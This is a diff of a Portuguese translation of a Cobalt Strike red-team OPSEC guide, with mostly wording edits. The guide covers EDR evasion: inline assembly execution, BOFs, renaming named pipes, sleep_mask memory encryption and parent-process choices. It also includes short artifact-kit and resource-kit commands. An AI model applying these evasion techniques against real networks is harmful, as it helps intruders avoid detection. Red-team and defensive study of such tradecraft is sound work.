+O **`execute-assembly`** usa um **processo sacrificial** utilizando injeção de processo remoto para executar o programa indicado. Isso é muito barulhento, pois para injetar dentro de um processo, certas APIs do Win são usadas que todos os EDR estão verificando. No entanto, existem algumas ferramentas personalizadas que podem ser usadas para carregar algo no mesmo processo:
 
 - [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
 - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
-- No Cobalt Strike você também pode usar BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
+- No Cobalt Strike, você também pode usar BOF (Beacon Object Files): [https://github.com/CCob/BOF.NET](https://github.com/CCob/BOF.NET)
 - [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
 
-O script agressor `https://github.com/outflanknl/HelpColor` criará o comando `helpx` no Cobalt Strike que colocará cores nos comandos indicando se são BOFs (verde), se são Frok&Run (amarelo) e similares, ou se são ProcessExecution, injeção ou similares (vermelho). O que ajuda a saber quais comandos são mais furtivos.
+O script agressor `https://github.com/outflanknl/HelpColor` criará o comando `helpx` no Cobalt Strike, que colocará cores nos comandos indicando se são BOFs (verde), se são Frok&Run (amarelo) e similares, ou se são ProcessExecution, injeção ou similares (vermelho). O que ajuda a saber quais comandos são mais furtivos.
 
 ### Agir como o usuário
 
 Você pode verificar eventos como `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
 
-- Segurança EID 4624 - Verifique todos os logons interativos para saber os horários de operação habituais.
+- Segurança EID 4624 - Verifique todos os logons interativos para conhecer os horários de operação habituais.
 - Sistema EID 12,13 - Verifique a frequência de desligamento/início/suspensão.
 - Segurança EID 4624/4625 - Verifique tentativas NTLM válidas/inválidas de entrada.
-- Segurança EID 4648 - Este evento é criado quando credenciais em texto claro são usadas para logon. Se um processo o gerou, o binário potencialmente tem as credenciais em texto claro em um arquivo de configuração ou dentro do código.
+- Segurança EID 4648 - Este evento é criado quando credenciais em texto simples são usadas para logon. Se um processo o gerou, o binário potencialmente tem as credenciais em texto claro em um arquivo de configuração ou dentro do código.
 
 Ao usar `jump` do cobalt strike, é melhor usar o método `wmi_msbuild` para fazer o novo processo parecer mais legítimo.
 
@@ -238,7 +238,7 @@ Ao se mover lateralmente, geralmente é melhor **roubar um token do que gerar um
 
 O Cobalt Strike tem um recurso chamado **Guardrails** que ajuda a prevenir o uso de certos comandos ou ações que poderiam ser detectados pelos defensores. Os guardrails podem ser configurados para bloquear comandos específicos, como `make_token`, `jump`, `remote-exec`, e outros que são comumente usados para movimento lateral ou escalonamento de privilégios.
 
-Além disso, o repositório [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) também contém algumas verificações e ideias que você poderia considerar antes de executar um payload.
+Além disso, o repositório [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) também contém algumas verificações e ideias que você pode considerar antes de executar um payload.
 
 ### Criptografia de Tickets
 
@@ -250,7 +250,7 @@ Ao usar o Cobalt Strike, por padrão, os pipes SMB terão o nome `msagent_####`
 
 Além disso, com sessões SSH, um pipe chamado `\\.\pipe\postex_ssh_####` é criado. Mude-o com `set ssh_pipename "<new_name>";`.
 
-Além disso, no ataque de exploração pós-exploração, os pipes `\\.\pipe\postex_####` podem ser modificados com `set pipename "<new_name>"`.
+Além disso, no ataque de pós-exploração, os pipes `\\.\pipe\postex_####` podem ser modificados com `set pipename "<new_name>"`.
 
 Nos perfis do Cobalt Strike, você também pode modificar coisas como:
 
@@ -264,15 +264,15 @@ Nos perfis do Cobalt Strike, você também pode modificar coisas como:
 
 ### Bypass de varredura de memória
 
-Alguns EDRs escaneiam a memória em busca de algumas assinaturas de malware conhecidas. O Cobalt Strike permite modificar a função `sleep_mask` como um BOF que será capaz de criptografar na memória o backdoor.
+Alguns EDRs escaneiam a memória em busca de algumas assinaturas de malware conhecidas. O Cobalt Strike permite modificar a função `sleep_mask` como um BOF que será capaz de criptografar em memória o backdoor.
 
-### Injeções de processo barulhentas
+### Injeções de proc barulhentas
 
 Ao injetar código em um processo, isso geralmente é muito barulhento, pois **nenhum processo regular geralmente realiza essa ação e porque as maneiras de fazer isso são muito limitadas**. Portanto, pode ser detectado por sistemas de detecção baseados em comportamento. Além disso, também pode ser detectado por EDRs que escaneiam a rede em busca de **threads contendo código que não está no disco** (embora processos como navegadores usando JIT tenham isso comumente). Exemplo: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
 
 ### Spawnas | Relações PID e PPID
 
-Ao gerar um novo processo, é importante **manter uma relação pai-filho regular** entre os processos para evitar detecção. Se svchost.exec estiver executando iexplorer.exe, parecerá suspeito, pois svchost.exe não é um pai de iexplorer.exe em um ambiente Windows normal.
+Ao gerar um novo processo, é importante **manter uma relação pai-filho regular** entre os processos para evitar detecção. Se svchost.exec estiver executando iexplorer.exe, parecerá suspeito, já que svchost.exe não é um pai de iexplorer.exe em um ambiente Windows normal.
 
 Quando um novo beacon é gerado no Cobalt Strike, por padrão, um processo usando **`rundll32.exe`** é criado para executar o novo listener. Isso não é muito furtivo e pode ser facilmente detectado por EDRs. Além disso, `rundll32.exe` é executado sem argumentos, tornando-o ainda mais suspeito.
 
@@ -358,10 +358,10 @@ template.x64.ps1
 # $x --> $ar  
 cobalt strike --> script manager --> Load --> Cargar C:\Tools\cobaltstrike\ResourceKit\resources.cna  
 
-#kit de artefato  
+#artifact kit  
 cd  C:\Tools\cobaltstrike\ArtifactKit  
 pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
 ```
 
 
-{{#include /banners/hacktricks-training.md}}
+{{#include ../banners/hacktricks-training.md}}